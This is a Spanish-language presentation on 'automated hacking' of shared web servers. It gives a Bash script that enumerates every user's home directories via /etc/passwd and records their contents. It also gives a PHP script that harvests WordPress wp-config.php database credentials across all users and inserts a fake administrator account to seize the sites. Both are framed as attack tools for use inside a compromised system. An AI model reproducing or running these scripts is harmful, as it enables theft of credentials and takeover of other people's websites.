

Hacking Automatizado

¿Hacking automatizado?

Si, crear scripts para la obtención
de información

¿Información?

Sí, mientras más información rescatemos y mientras más rápido y eficiente sea nuestro *trabajo*, menos tiempo debemos estar dentro del sistema. Luego, analizamos la información con calma.

dirHack

Aprovechandonos de una *vulnerabilidad natural* de apache: En una configuración “tradicional”, todos los ficheros expuestos deben ser leídos por el usuario `www-data` o `apache`.

dirHack.sh

Lenguaje: Bash

Desarrollador: Zerial, Pons

Líneas: 85

Objetivo: Recolección de información

dirHack.sh

```
freedirs="public_html public_ftp etc tmp mail"
echo "Starting DirHack $version"
echo "DirHack eXploit $version" >> $2
for dir in $freedirs
do
  for user in `awk -F':' ' {printf $1 "\n"} ' /etc/passwd`
  do
    userhome=`cat /etc/passwd |grep $user: |grep :$
              (id -u $user): |awk -F':' ' {printf $6 "\n"} '`
    fulldir=$userhome/$dir
    if [ `id -u $user` -gt $1 ]
    then
      if [ -d $fulldir ]
      then
        echo "" >> $2
        echo "-----" >> $2
        echo "User: $user" >> $2
        echo "Directory: $fulldir" >> $2
        echo "Size: `du -sh $fulldir`" >> $2
        echo "" >> $2
        ls -Rla $fulldir >> $2
      fi
    fi
  done
done
```

dirHack.sh

- Cómo funciona?
 - Leo línea por línea /etc/passwd
 - Busco, recursivamente, por cada home un public_html, public_ftp, temp, ...
 - Guardo el output, lo comprimo y lo descargo.

WP-Config Discover

Aprovechandonos de algo similar al anterior, usaremos al usuario apache o www-data para leer todos los wp-config.php del sistema, *parseando* la información y haciendo uso de ella.

wp-config_discover.php

Lenguaje: PHP

Desarrollador: Zerial

Líneas: 103

Objetivo: Descubrir usuario, clave y nombre de la base de datos. Crear *fakeadmin* y apoderarse del sistema.

```

if($uid >= 1000){
    print $usr." (uid:". $uid."): ".$home."\n";
    foreach($paths as $path){
        if(file_exists($home."/". $path)) {
            print "\tSearching in ".$home."/". $path."\n";
            foreach($files as $file){
                if(file_exists($home."/". $path."/". $file)){
                    print "\t\tFound: ".$file."\n";
                    $__f = @file($home."/". $path."/". $file);
                    foreach($__f as $line){
                        if(stristr($line, "DB_USER")) {
                            preg_match_all('/define\(\\'(.*)\);/', $line, $output);
                            print "\t\t\t".str_replace("DB_USER'", "", "usr=>", $output[1][0])."\n";
                        }
                        if(stristr($line, "DB_PASSWORD")) {
                            preg_match_all('/define\(\\'(.*)\);/', $line, $output2);
                            print "\t\t\t".str_replace("DB_PASSWORD'", "", "pwd=>", $output2[1][0])."\n";
                        }
                        if(stristr($line, "DB_NAME")) {
                            preg_match_all('/define\(\\'(.*)\);/', $line, $output3);
                            print "\t\t\t".str_replace("DB_NAME'", "", "db=>", $output3[1][0])."\n";
                        }
                        if(stristr($line, "DB_HOST")) {
                            preg_match_all('/define\(\\'(.*)\);/', $line, $output4);
                            print "\t\t\t".str_replace("DB_HOST'", "", "host=>", $output4[1][0])."\n";
                        }
                        if(stristr($line, "\$table_prefix")) {
                            preg_match_all('/\$.table_prefix(.*);/', $line, $output5);
                            print "\t\t\t\tprefix". $output5[1][0]."\n";
                        }
                        flush();
                    }
                    print "\t\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0]);
                    if($_GET['attack'] == "create_user")
                        print "\t\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0]);
                    if($_GET['attack'] == "delete_user")
                        print "\t\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0]);
                    flush();
                }
            }
        }
    }
}
flush();

```

wp-config_discover.php

- Cómo funciona?
 - Leo el /etc/passwd en busca de "homes"
 - Reviso dentro del public_html de cada home buscando el fichero wp-config.
 - Parseo todos los wp-config y me conecto a las bases de datos usando los datos parseados.
 - Creo usuarios admin directamente en la base de datos.

Autor: Zerial

Correo: fernando@zerial.org

Web: <http://blog.zerial.org>

EOF